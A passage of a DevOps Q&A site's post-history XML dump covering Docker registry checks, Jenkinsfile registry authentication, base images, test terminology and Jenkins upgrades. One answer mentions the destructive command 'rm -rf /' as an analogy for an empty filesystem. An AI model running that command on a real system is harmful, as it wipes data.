  <row Id="29013" PostHistoryTypeId="5" PostId="9693" RevisionGUID="b0bd543d-77ad-4171-ad6b-204f1d0af2e4" CreationDate="2019-11-05T16:46:56.987" UserId="210" Comment="added 692 characters in body" Text="[A related Q&amp;A][1] was already created on StackOverflow back in the day.&#xD;&#xA;&#xD;&#xA;Several answers simply do a `docker pull image-to-be-checked`. If exit 0, the image exists in a certain registry. If not then the image seems to be omitted. However, if an image is large, e.g. X&gt;1GB or the (office) internet is slow (due to proxies), this could take a while.&#xD;&#xA;&#xD;&#xA;The best option to mitigate this is to use `docker manifest inspect docker-image` as suggested by [@morty][2] in conjunction with `DOCKER_CLI_EXPERIMENTAL=enabled` [as suggested in a comment by @ChrisDeacy][3]&#xD;&#xA;&#xD;&#xA;Although this command works for dockerhub images, it fails if images have to be checked on quay.io:&#xD;&#xA;&#xD;&#xA;    unsupported manifest media type and no default available:&#xD;&#xA;    application/vnd.docker.distribution.manifest.v1+prettyjws&#xD;&#xA;&#xD;&#xA;Therefor I decided to stick to the `docker pull` approach to make the check docker-registry agnostic.&#xD;&#xA;&#xD;&#xA;Today I released version 1.0.0 of Docker Image Patrol ([DIP][4]). This tool is able to check whether an image exists in a docker-registry. One could check the existence by running:&#xD;&#xA;&#xD;&#xA;    ./dip -image nginx -registry quay.io/some.org/ -debug&#xD;&#xA;    DEBU[0000] debug: true; image: nginx; registry: quay.io/some.org/ &#xD;&#xA;    DEBU[0002] Command: docker pull quay.io/some.org/nginx; Output: Using&#xD;&#xA;    default tag: latest&#xD;&#xA;    Error response from daemon: unauthorized: access to the requested resource&#xD;&#xA;    is not authorized &#xD;&#xA;    DEBU[0002] 1                                            &#xD;&#xA;    Is image: 'nginx' absent in registry: 'quay.io/some.org/'? -&gt; true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/32113330/2777965&#xD;&#xA;  [2]: https://stackoverflow.com/a/52077346/2777965&#xD;&#xA;  [3]: https://stackoverflow.com/questions/32113330/check-if-imagetag-combination-already-exists-on-docker-hub#comment101216063_52077346&#xD;&#xA;  [4]: https://github.com/030/dip" ContentLicense="CC BY-SA 4.0" />
  <row Id="29014" PostHistoryTypeId="2" PostId="9702" RevisionGUID="5d8757ca-c8ad-449c-b119-c3f653be7816" CreationDate="2019-11-05T16:55:47.320" UserId="7730" Text="The python image is based on Debian, Alpine, or Windows Core depending on which tag you select. E.g. if you click on the tag for one of the buster images, you see the Dockerfile with a `FROM buildpack-deps:buster` entry. Going to that repo on Docker Hub you can track it back to `FROM buildpack-deps:buster-scm`, then `FROM buildpack-deps:buster-curl`, and finally `FROM debian:buster`.&#xD;&#xA;&#xD;&#xA;It's important to note that these are not really operating systems, they are Linux distributions that have their filesystems packaged into a container filesystem. You are not managing devices or even running the kernel of that operating system, only using their tools (e.g. `apt-get`, `yum`, or `apk`) to manage the contents of the container.&#xD;&#xA;&#xD;&#xA;It is possible to have a container without any Linux distribution as it's base. Every image eventually goes back to `FROM scratch` which is a meta image name that indicates an empty filesystem. It's the same as the filesystem after `rm -rf /` or `format c:`, completely empty, no files, no shell to run, no libraries. If you have a statically linked application without any dependencies on the rest of the filesystem, it's possible to deploy with this in a container since the host Linux kernel is what's actually running the application (docker is just a way to applications on the host with isolation (namespaces) and limits (cgroups) preconfigured). An example of this can be found with the [Docker doodles](https://github.com/docker/doodle/blob/master/halloween2019/Dockerfile). And building on scratch is Google's distroless images which include various prereqs that many need when running in a container without a distribution included." ContentLicense="CC BY-SA 4.0" />
  <row Id="29015" PostHistoryTypeId="2" PostId="9703" RevisionGUID="c1f39314-b743-4de1-a5e1-a8c50ef68094" CreationDate="2019-11-05T17:38:17.763" UserId="7646" Text="I have two endpoints for my registry (Nexus OSS):&#xD;&#xA;&#xD;&#xA;Endpoint 10500 to pull images from.&#xD;&#xA;&#xD;&#xA;And Endpoint 10501 to push images to.&#xD;&#xA;&#xD;&#xA;(I can go into detail what the idea is and why we think Nexus requires this if need be. I might have Nexus configured wrongly after all. But I am currently thinking it's correct.)&#xD;&#xA;&#xD;&#xA;Jenkinsfile has:&#xD;&#xA;&#xD;&#xA;    docker.withRegistry(myRegistry:10501, 'nexus_jenkins_user') {&#xD;&#xA;        docker.build(imageToBuild.getName(), '-f ' + imageToBuild.tag + '.Dockerfile .').push();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Dockerfile has&#xD;&#xA;&#xD;&#xA;    FROM myRegistry:10500/myNamespace/core:latest&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Jenkins execution reports the following error:&#xD;&#xA;&#xD;&#xA;    docker build -t myNamespace/php:php.7.2 -f php.7.2.Dockerfile .&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon   80.9kB&#xD;&#xA;    &#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    Step 1/7 : FROM myRegistry:10500/myNamespace/core:latest&#xD;&#xA;&#xD;&#xA;    Get https://myRegistry:10500/v2/myNamespace/core/manifests/latest: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    script returned exit code 1&#xD;&#xA;&#xD;&#xA;This seems obvious as the &quot;withRegistry&quot; directive above has the 10501 endpoint, so there would be no authentication for the 10500 endpoint here.&#xD;&#xA;&#xD;&#xA;The challenge:&#xD;&#xA;I need to be able to pull the core image (through 10500) but push the finished image to 10501.&#xD;&#xA;&#xD;&#xA;What would my Jenkinsfile need to look like to achieve this?&#xD;&#xA;&#xD;&#xA;This should theoretically be a common problem for companies utilizing Nexus OSS as they will have two endpoints as well. (Assuming I am correct about Nexus requiring two endpoints if a hosted repo and a proxy repo are being used)." ContentLicense="CC BY-SA 4.0" />
  <row Id="29016" PostHistoryTypeId="1" PostId="9703" RevisionGUID="c1f39314-b743-4de1-a5e1-a8c50ef68094" CreationDate="2019-11-05T17:38:17.763" UserId="7646" Text="Jenkinsfile: Pull image from registry endpoint A, push built image to registry endpoint B" ContentLicense="CC BY-SA 4.0" />
  <row Id="29017" PostHistoryTypeId="3" PostId="9703" RevisionGUID="c1f39314-b743-4de1-a5e1-a8c50ef68094" CreationDate="2019-11-05T17:38:17.763" UserId="7646" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;&lt;nexus&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29018" PostHistoryTypeId="4" PostId="8366" RevisionGUID="f9b6a7dd-43ea-4a7a-afef-3a1fc5e95af6" CreationDate="2019-11-05T17:49:38.863" UserId="7646" Comment="corrected spelling" Text="Using the built binary of a docker image in another docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="29019" PostHistoryTypeId="24" PostId="8366" RevisionGUID="f9b6a7dd-43ea-4a7a-afef-3a1fc5e95af6" CreationDate="2019-11-05T17:49:38.863" Comment="Proposed by 7646 approved by -1 edit id of 1116" ContentLicense="CC BY-SA 4.0" />
  <row Id="29020" PostHistoryTypeId="5" PostId="8366" RevisionGUID="0fe41354-4884-4273-8b27-7fb97418d62d" CreationDate="2019-11-05T17:49:38.863" UserId="40" Comment="remove noise" Text="# Problem&#xD;&#xA;I have two repositories A and B. I have a docker image registry, where I can push the docker images made of the repositories A and B.&#xD;&#xA;&#xD;&#xA;I need only the binary of A's source code to be included in the docker image of B. So when running the docker image of B, the jar file of A is present and can be used. And in case of updates in repository A, the registry image is subsequently updated.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I've searched now several threads and the docker documentation. Is there a recommended way to make this happen with docker respectivly dockerfile commands?&#xD;&#xA;&#xD;&#xA;So far I tried the following and it worked, but it wasn't so intiutive. Is this the recommended way?&#xD;&#xA;```dockerfile&#xD;&#xA;FROM myregistry/my-A-img AS A&#xD;&#xA;FROM ubuntu-base-img&#xD;&#xA;&#xD;&#xA;# Build commands for B ...&#xD;&#xA;COPY build-B.jar /app&#xD;&#xA;&#xD;&#xA;# Get the A image from the registry&#xD;&#xA;COPY --from=A /path/to/build-A.jar /app/lib&#xD;&#xA;&#xD;&#xA;# Run B binaries&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29021" PostHistoryTypeId="5" PostId="9703" RevisionGUID="c9548bcc-2ee7-4fb0-b63f-b7f4ed7f2609" CreationDate="2019-11-05T17:52:44.867" UserId="7646" Comment="added 492 characters in body" Text="I have two endpoints for my registry (Nexus OSS):&#xD;&#xA;&#xD;&#xA;Endpoint 10500 to pull images from.&#xD;&#xA;&#xD;&#xA;And Endpoint 10501 to push images to.&#xD;&#xA;&#xD;&#xA;(I can go into detail what the idea is and why we think Nexus requires this if need be. I might have Nexus configured wrongly after all. But I am currently thinking it's correct.)&#xD;&#xA;&#xD;&#xA;Jenkinsfile has:&#xD;&#xA;&#xD;&#xA;    docker.withRegistry(myRegistry:10501, 'nexus_jenkins_user') {&#xD;&#xA;        docker.build(imageToBuild.getName(), '-f ' + imageToBuild.tag + '.Dockerfile .').push();&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Dockerfile has&#xD;&#xA;&#xD;&#xA;    FROM myRegistry:10500/myNamespace/core:latest&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Jenkins execution reports the following error:&#xD;&#xA;&#xD;&#xA;    docker build -t myNamespace/php:php.7.2 -f php.7.2.Dockerfile .&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon   80.9kB&#xD;&#xA;    &#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    Step 1/7 : FROM myRegistry:10500/myNamespace/core:latest&#xD;&#xA;&#xD;&#xA;    Get https://myRegistry:10500/v2/myNamespace/core/manifests/latest: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    script returned exit code 1&#xD;&#xA;&#xD;&#xA;This seems obvious as the &quot;withRegistry&quot; directive above has the 10501 endpoint, so there would be no authentication for the 10500 endpoint here.&#xD;&#xA;&#xD;&#xA;The challenge:&#xD;&#xA;I need to be able to pull the core image (through 10500) but push the finished image to 10501.&#xD;&#xA;&#xD;&#xA;What would my Jenkinsfile need to look like to achieve this?&#xD;&#xA;&#xD;&#xA;This should theoretically be a common problem for companies utilizing Nexus OSS as they will have two endpoints as well. (Assuming I am correct about Nexus requiring two endpoints if a hosted repo and a proxy repo are being used).&#xD;&#xA;&#xD;&#xA;**edit**&#xD;&#xA;To provide some help for understanding: If I specify&#xD;&#xA;&#xD;&#xA;    FROM myRegistry:10501/myNamespace/core:latest&#xD;&#xA;&#xD;&#xA;in my Dockerfile, authentication will work as &quot;withRegistry&quot; and the Dockerfile's FROM directive are set to the same endpoint.&#xD;&#xA;&#xD;&#xA; But I want all pulling actions to go through 10500. If, for example, I would use an image from Docker Hub, 10500 would pull it from Hub, cache it and deliver it back to me, where 10501 would not. So 10500 needs to be used for all pulling." ContentLicense="CC BY-SA 4.0" />
  <row Id="29022" PostHistoryTypeId="50" PostId="5901" RevisionGUID="c801e3fc-8f3d-40b7-8f12-c7d10e3ba5a1" CreationDate="2019-11-05T18:03:15.487" UserId="-1" />
  <row Id="29023" PostHistoryTypeId="2" PostId="9704" RevisionGUID="00eaad4c-2239-4988-b06b-017efcf36a83" CreationDate="2019-11-05T18:39:47.597" UserId="16683" Text="Try to chain `withRegistry` like this:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;docker.withRegistry('https://registry:10500', 'credentials-id') {&#xD;&#xA;    docker.withRegistry('https://registry:10501', 'credentials-id') {&#xD;&#xA;        docker.build(imageToBuild.getName(), '-f ' + imageToBuild.tag + '.Dockerfile .').push();&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29024" PostHistoryTypeId="50" PostId="6306" RevisionGUID="7cff9fb1-18f5-4ae9-9ae6-1b3bdf5b2de0" CreationDate="2019-11-05T21:02:35.353" UserId="-1" />
  <row Id="29025" PostHistoryTypeId="2" PostId="9705" RevisionGUID="dc640911-eb6f-4232-963e-f4314a8d552f" CreationDate="2019-11-05T21:45:46.440" UserId="4462" Text="I have Jenkins `2.89` installed with many outdated plugins as well. What is the best path for upgrading both the plugins and Jenkins itself? Should one proceed the other?&#xD;&#xA;&#xD;&#xA;I am leaning toward upgrading the plugins first and in batches to limit the risk. The system is being backed up in its entirety in case things go sideways. I would like to avoid that if at all possible though." ContentLicense="CC BY-SA 4.0" />
  <row Id="29026" PostHistoryTypeId="1" PostId="9705" RevisionGUID="dc640911-eb6f-4232-963e-f4314a8d552f" CreationDate="2019-11-05T21:45:46.440" UserId="4462" Text="Jenkins upgrading and plugins ordering" ContentLicense="CC BY-SA 4.0" />
  <row Id="29027" PostHistoryTypeId="3" PostId="9705" RevisionGUID="dc640911-eb6f-4232-963e-f4314a8d552f" CreationDate="2019-11-05T21:45:46.440" UserId="4462" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29028" PostHistoryTypeId="2" PostId="9706" RevisionGUID="80c975bf-80e2-42d5-8371-e7aab8e8a1f0" CreationDate="2019-11-05T22:36:34.790" UserId="18021" Text="so I have 8 months of DevOps experience previously working as a desktop engineer for two and a half years.Starting a new role in the education sector, recently they brought their IT department which previously worked in different projects/faculties and now they have all been brought together.So this is where I come in to help dictate the application development process by designing and maintaining the infrastructure to build an efficient route to live regardless of the project. So this is essentially a blank slate.&#xD;&#xA;&#xD;&#xA;As a very high level overview&#xD;&#xA;&#xD;&#xA;So my ideal setup would be creating a production environment for whatever project, replicating the stack and using that as UAT. This would be done through Terraform and Ansible. The Dev estate I am not too sure how this is going to be setup yet but I was thinking about learning docker and k8s to bring up a dev estate.&#xD;&#xA;&#xD;&#xA;The way I would look into setting up a CI/CD pipeline using Jenknnis and actioned through Azure DevOps as this is what they use, I would ensure code pushed from the DEV branch is deployed to UAT and tested then deployed to replicate production servers and once tested DNS is switched over to the new servers and the old ones are brought down.&#xD;&#xA;&#xD;&#xA;The way how the code is deployed is through building the codebase on the same server Jenkins would be setup on, sending a tar'd file of the code to AWS CodeDeploy to be taken to the next environment. &#xD;&#xA;&#xD;&#xA;Through caveats include no changes or access will be allowed on production or UAT servers, any requested changes will be done through terraform and ansible to keep things consistent.&#xD;&#xA;&#xD;&#xA;Personally with my limited experience I have used Terraform and ansible and I have felt this provides alot of the work to have that infrastructure as code system in place. At the same time I understand there are tools like chef, puppet and salt which would probably make the job easier but that is where my question is what would you guys want and how would you want to implement it. I should finally mention we seem to be using Azure DevOps as the main tool to setup and manage the pipelines." ContentLicense="CC BY-SA 4.0" />
  <row Id="29029" PostHistoryTypeId="1" PostId="9706" RevisionGUID="80c975bf-80e2-42d5-8371-e7aab8e8a1f0" CreationDate="2019-11-05T22:36:34.790" UserId="18021" Text="Given a blank slate, tool recommendations?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29030" PostHistoryTypeId="3" PostId="9706" RevisionGUID="80c975bf-80e2-42d5-8371-e7aab8e8a1f0" CreationDate="2019-11-05T22:36:34.790" UserId="18021" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;terraform&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29031" PostHistoryTypeId="2" PostId="9707" RevisionGUID="3e8a570b-3244-41cf-be0e-41d35f469bb0" CreationDate="2019-11-06T00:24:27.317" UserId="12138" Text="Yes, this is possible. &#xD;&#xA;&#xD;&#xA;You can create a private DNS zone for `example.io` using AWS route53 in the AWS VPC where your openvpn server is running. Then you can point `server.example.io` to the private IP of the instance. &#xD;&#xA;By default in AWS VPC, if a private DNS zone is present, it gets the preference. If the DNS record is not present, then it goes out of VPC for DNS resolution. &#xD;&#xA;&#xD;&#xA;So, when your users are connected to the VPN, they all will be in the same network of AWS VPC. Hitting `server.example.io` will resolve to private IP and requests will be routed internally within VPN tunnel.&#xD;&#xA;&#xD;&#xA;NOTE: If you are using multiple VPC or your `server.example.io` is in another VPC, you may need to add routes for that in your VPN configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="29033" PostHistoryTypeId="5" PostId="9596" RevisionGUID="881be9f2-0848-4bf7-9691-c945e1f6b905" CreationDate="2019-11-06T07:49:01.833" UserId="707" Comment="added 27 characters in body" Text="What type of user stories should Operations write down while being asked to be a stakeholder in a scrum project?&#xD;&#xA;&#xD;&#xA;Following this template:&#xD;&#xA;&#xD;&#xA;&quot;As Operations engineer, I want to.. in order to..&quot;?!&#xD;&#xA;&#xD;&#xA;My first idea is for example to come up with for example expectations to quality standards i.e. *acceptance criteria* to deliverables, like &quot;as an operations engineer, I want to get deliverables accompanied with installation and validation automation scripts in order to enable fast and transparent deployments&quot;, but is there more to it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29034" PostHistoryTypeId="2" PostId="9708" RevisionGUID="339ff120-c791-418c-9c59-704d30135579" CreationDate="2019-11-06T08:47:23.277" UserId="18025" Text="This is more of an english language question - we have various types of tests - unit tests, A/B tests, etc...&#xD;&#xA;&#xD;&#xA;Suppose I need to migrate code to a different language, machine, or any other different environment specification, with the definition that it reproduces the original application exactly (bugs included!). I am looking for a name for such a test.&#xD;&#xA;&#xD;&#xA;Currently I am using functional testing, but I feel that's to general and am looking for something better. It is also somewhat misleading since the &quot;function&quot; is not the implemented algorithm but reproducing behavior of another application." ContentLicense="CC BY-SA 4.0" />
  <row Id="29035" PostHistoryTypeId="1" PostId="9708" RevisionGUID="339ff120-c791-418c-9c59-704d30135579" CreationDate="2019-11-06T08:47:23.277" UserId="18025" Text="A name for testing software migrated to a new environment against original application" ContentLicense="CC BY-SA 4.0" />
  <row Id="29036" PostHistoryTypeId="3" PostId="9708" RevisionGUID="339ff120-c791-418c-9c59-704d30135579" CreationDate="2019-11-06T08:47:23.277" UserId="18025" Text="&lt;terminology&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29037" PostHistoryTypeId="5" PostId="9708" RevisionGUID="417e62c2-56fa-49d6-8e14-0ef5d374a673" CreationDate="2019-11-06T08:55:01.153" UserId="18025" Comment="added 281 characters in body" Text="This is more of an english language question - we have various types of tests - unit tests, A/B tests, etc...&#xD;&#xA;&#xD;&#xA;Suppose I need to migrate code to a different language, machine, or any other different environment specification, with the definition that it reproduces the original application exactly (bugs included!). I am looking for a name for such a test.&#xD;&#xA;&#xD;&#xA;Currently I am using functional testing, but I feel that's to general and am looking for something better. It is also somewhat misleading since the &quot;function&quot; is not the implemented algorithm but reproducing behavior of another application.&#xD;&#xA;&#xD;&#xA;@Bruce suggested regression tests, which are a good option we considered, but dropped it since we (and I think most people) use those for actual changes in the original code base (in this question's setting) that may add features, fix bugs etc... Perhaps this is too nit-picky." ContentLicense="CC BY-SA 4.0" />
  <row Id="29038" PostHistoryTypeId="2" PostId="9709" RevisionGUID="51fbbd36-5974-487c-b7d1-9983c635631f" CreationDate="2019-11-06T09:46:03.023" UserId="354" Text="As mentioned in the question, there is a subtle difference between [Regression testing](https://en.wikipedia.org/wiki/Regression_testing) and the situation described here.&#xD;&#xA;&#xD;&#xA;To paraphrase Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; Regression testing ... is re-running functional and non-functional tests to ensure that previously developed and tested software still performs after a change. If not, that would be called a regression.&#xD;&#xA;&#xD;&#xA;However, a situation is described here where the _functionality_ of the code is the same -- since no new features or functionality is added, this is technically not regression testing.&#xD;&#xA;&#xD;&#xA;However, what does need to be asserted is the **behaviour** of the code. If run in the same way after the re-implementation, does the code still behave in the same way, beyond still giving the same results (which would be covered in unit testing and functional test).&#xD;&#xA;&#xD;&#xA;In [&quot;The Practical Test Pyramid&quot;](https://martinfowler.com/articles/practical-test-pyramid.html), Martin Fowler describes the various types of testing which a well-maintained application could have. Near the apex are [&quot;Acceptance Tests&quot;](https://martinfowler.com/articles/practical-test-pyramid.html#acceptance), _i.e_&#xD;&#xA;&#xD;&#xA;&gt; Do Your Features Work Correctly?&#xD;&#xA;&#xD;&#xA;After a re-write, I believe [**Acceptance Tests**](https://en.wikipedia.org/wiki/Acceptance_testing) would be the answer here.&#xD;&#xA;&#xD;&#xA;Note - Acceptance tests also include **Operational Acceptance Tests**, described by Wikipedia as:&#xD;&#xA;&#xD;&#xA;&gt; Operational acceptance test (OAT) criteria (regardless if using agile, iterative or sequential development) are defined in terms of functional and non-functional requirements; covering key quality attributes of functional stability, portability and reliability.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29039" PostHistoryTypeId="2" PostId="9710" RevisionGUID="d7fd8c92-c0ad-4580-81c3-a0cfc70bec70" CreationDate="2019-11-06T10:09:28.960" UserId="16683" Text="You can use a `Makefile` for this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;PHPBB_VERSION := 3.2.4&#xD;&#xA;&#xD;&#xA;build:&#xD;&#xA;	docker build \&#xD;&#xA;		--build-arg PHPBB_VERSION=${PHPBB_VERSION} \&#xD;&#xA;		--tag phpbb:${PHPBB_VERSION} - &lt; Dockerfile&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`Dockerfile`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM php:7.2-cli                                                                           &#xD;&#xA;                                                                                           &#xD;&#xA;ARG PHPBB_VERSION                                                                          &#xD;&#xA;                                                                                           &#xD;&#xA;RUN wget -nv -O- https://github.com/phpbb/phpbb/archive/release-${PHPBB_VERSION}.tar.gz | \&#xD;&#xA;    tar xzf - --strip-components=1                                                         &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, in a shell: `make build`." ContentLicense="CC BY-SA 4.0" />
  <row Id="29040" PostHistoryTypeId="2" PostId="9711" RevisionGUID="2393d629-87f1-42f7-bdf2-953f43fd4d5a" CreationDate="2019-11-06T10:13:42.753" UserId="210" Text="Elastic Container Registry (ECR) for example supports Tag Immutability (TI). TI implies that docker tags cannot be overwritten if they exist in a docker-registry.&#xD;&#xA;&#xD;&#xA;The settings of the organization and the ones from a repository were inspected, but no TI setting was found.&#xD;&#xA;&#xD;&#xA;**Questions**&#xD;&#xA;&#xD;&#xA; - Does quay support TI?&#xD;&#xA; - If true, how to enable it&#xD;&#xA; - If false, how do you or does your organization prevent that tag overwrite takes place?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29041" PostHistoryTypeId="1" PostId="9711" RevisionGUID="2393d629-87f1-42f7-bdf2-953f43fd4d5a" CreationDate="2019-11-06T10:13:42.753" UserId="210" Text="How to enable tag immutability in quay.io?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29042" PostHistoryTypeId="3" PostId="9711" RevisionGUID="2393d629-87f1-42f7-bdf2-953f43fd4d5a" CreationDate="2019-11-06T10:13:42.753" UserId="210" Text="&lt;docker&gt;&lt;quay.io&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29043" PostHistoryTypeId="6" PostId="9711" RevisionGUID="04e798a4-03d3-4b65-981a-c9fdc6f1a90c" CreationDate="2019-11-06T11:06:41.070" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;docker-registry&gt;&lt;quay.io&gt;&lt;dip&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29044" PostHistoryTypeId="6" PostId="9691" RevisionGUID="cd29e0ad-0a9b-455e-8feb-033cf5d269de" CreationDate="2019-11-06T11:07:16.387" UserId="210" Comment="edited tags; edited tags" Text="&lt;docker&gt;&lt;docker-registry&gt;&lt;dip&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29045" PostHistoryTypeId="2" PostId="9712" RevisionGUID="3b2813a3-4531-4fd3-8a64-645c62e75746" CreationDate="2019-11-06T11:11:06.783" UserId="210" Text="Docker Image Patrol (DIP) is a tool that is able to check whether an image:tag already exists in a certain docker-registry. If true, an exit 1 will be returned to prevent that a Continuous Integration (CI) environment will publish and overwrite the tag in a docker-registry. Basically this tool is suitable to implement Tag Immutability (TI) if a docker-registry lacks such a feature." ContentLicense="CC BY-SA 4.0" />
  <row Id="29046" PostHistoryTypeId="1" PostId="9712" RevisionGUID="3b2813a3-4531-4fd3-8a64-645c62e75746" CreationDate="2019-11-06T11:11:06.783" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29047" PostHistoryTypeId="2" PostId="9713" RevisionGUID="204c65b0-d03c-4d18-ac8b-13c3b9e38312" CreationDate="2019-11-06T11:11:06.783" UserId="210" Text="Use this tag if a question is about Docker Image Patrol (DIP)." ContentLicense="CC BY-SA 4.0" />
  <row Id="29048" PostHistoryTypeId="1" PostId="9713" RevisionGUID="204c65b0-d03c-4d18-ac8b-13c3b9e38312" CreationDate="2019-11-06T11:11:06.783" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29049" PostHistoryTypeId="2" PostId="9714" RevisionGUID="1280ea50-12a3-408d-bd53-5413eeb11f18" CreationDate="2019-11-06T11:15:45.033" UserId="354" Text="At first glance, it seems that tag immutability is not a feature provided by Quay. You can enable &quot;Trust and Signing&quot; in the &quot;settings&quot; of the repo:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Please note that this will not prevent users from overwriting signed tags without updating signatures. This means that:&#xD;&#xA;&#xD;&#xA;&gt; - Any tag operations in the UI or client can cause inconsistency&#xD;&#xA;&gt; - Builds should not push to signed tags &#xD;&#xA;&#xD;&#xA;&gt; We recommend you maintain a strict separation between signed and unsigned tags to avoid any issues with garbage collection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So, you can sign tags, but you can't prevent them from being updated." ContentLicense="CC BY-SA 4.0" />
  <row Id="29050" PostHistoryTypeId="5" PostId="9712" RevisionGUID="329337e5-36ab-45ad-bac0-bceb7171efc5" CreationDate="2019-11-06T13:27:22.850" UserId="210" Comment="added 44 characters in body" Text="Docker Image Patrol ([DIP][1]) is a tool that is able to check whether an image:tag already exists in a certain docker-registry. If true, an exit 1 will be returned to prevent that a Continuous Integration (CI) environment will publish and overwrite the tag in a docker-registry. Basically this tool is suitable to implement Tag Immutability (TI) if a docker-registry lacks such a feature.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/dip" ContentLicense="CC BY-SA 4.0" />
  <row Id="29054" PostHistoryTypeId="2" PostId="9716" RevisionGUID="069dbd36-1a46-490e-9e5d-f1ffe7f38b17" CreationDate="2019-11-06T14:51:10.737" UserId="736" Text="I can only speak from personal experience rather than best practices, but in our company we'll **make a duplicate jenkins instance, then upgrade that**. We do main upgrade first, then plugins second, then run testing to make sure our core jobs still work. If all is good, we'll **then upgrade the real jenkins during off-hours**.&#xD;&#xA;&#xD;&#xA;We have 90+ jobs so testing them all is unrealistic - we made an effort to identify 8-10 jobs that span 90% of our use cases and run those on the standup jenkins to affirm everything is healthy first.  &#xD;&#xA;&#xD;&#xA;I'd highly advise doing something similar if you're using your jenkins in production scenarios. You never know what might break - we had one upgrade where a bug spun up 150+ aws ec2 instances in ~10mins instead of the 3 jenkins actually needed... another time all our unit and e2e testing of our code base broke because it turned out one of the output parser plugins had upgraded to become incompatible with our output format. We've even had our Bitbucket integration go sour and stop kicking off jobs on every push. &#xD;&#xA;&#xD;&#xA;Sometimes upgrading all plugins at once can cause confusion - we had one scenario where something broke and finding the cause was difficult because it could have come from one of two different plugins. We ended up spinning up two additional jenkins and upgrading either plugin to identify which was the cause. In general though, upgrading everything at once will pretty quickly show its flaws with a little testing. &#xD;&#xA;&#xD;&#xA;No matter what you decide, take a backup first!" ContentLicense="CC BY-SA 4.0" />
  <row Id="29055" PostHistoryTypeId="2" PostId="9717" RevisionGUID="09bbf4b5-7997-4211-8fe5-c066822f6d65" CreationDate="2019-11-06T14:55:03.953" UserId="354" Text="This question runs two risks:&#xD;&#xA;&#xD;&#xA;1. of being marked as &quot;primarily opinion-based&quot;, and&#xD;&#xA;1. its answers might age poorly.&#xD;&#xA;&#xD;&#xA;However, I think it's useful to express an opinion, if only for posterity; if and when things change, there may be better answers -- but there will always be blank slates.&#xD;&#xA;&#xD;&#xA;I would split the problem up into three:&#xD;&#xA;&#xD;&#xA;1. Infrastructure&#xD;&#xA;1. Application Building, testing and integration&#xD;&#xA;1. Deployment&#xD;&#xA;1. Monitoring, logging and analytics&#xD;&#xA;&#xD;&#xA;Furthermore, let's make this cloud-independent (so, this toolkit should be valid for any or all of AWS, GCE, Azure _etc_, as well as on-prem OpenStack, Packet, etc).&#xD;&#xA;&#xD;&#xA;## Infrastructure&#xD;&#xA;&#xD;&#xA;Infrastructure components consist of &#xD;&#xA;&#xD;&#xA;1. Your environments (pre, prod, integration, testing, etc - however you define them). These should be built with Terraform modules.&#xD;&#xA;  1. Each module in its own repo&#xD;&#xA;  1. Consider carefully separation of state, so that you can easily create and destroy components and keep costs down&#xD;&#xA;&#xD;&#xA;1. &quot;DevOps&quot; infrastructure. This includes:&#xD;&#xA;  1. code repos&#xD;&#xA;  1. CI/CD instances (controller, agent pools, _etc_) - _e.g._ Jenkins master with cloud agent pools.&#xD;&#xA;  1. Deployment runners (see later). &#xD;&#xA;  1. Monitoring, logging and analytics.&#xD;&#xA;  Again, build these with terraform modules. As a example, have a Terraform module for each type of application or component.&#xD;&#xA;&#xD;&#xA;1. Team, messaging and support infrastructure. This is often overlooked, but choosing the right tool for the job on Day 2 is hard. It's better to communicate to the stakeholders how issues and change requests should be made. I would venture a combination of GitHub issues and Slack at the very least.&#xD;&#xA;1. secrets management. You will need to pass around a lot of secrets, if you want to foster collaboration. In order to do this securely, you will need a place to manage them and delegate access to and usage of them.&#xD;&#xA;&#xD;&#xA;## Building, testing, integration.&#xD;&#xA;&#xD;&#xA;These happen in Jenkins. Each application should contain a subdirectory `.pipeline` with the parts necessary to build it. The part which concerns us here is everything before prod.&#xD;&#xA;&#xD;&#xA;I would suggest a pipeline as code approach with a `Jenkinsfile` in the repo declaring 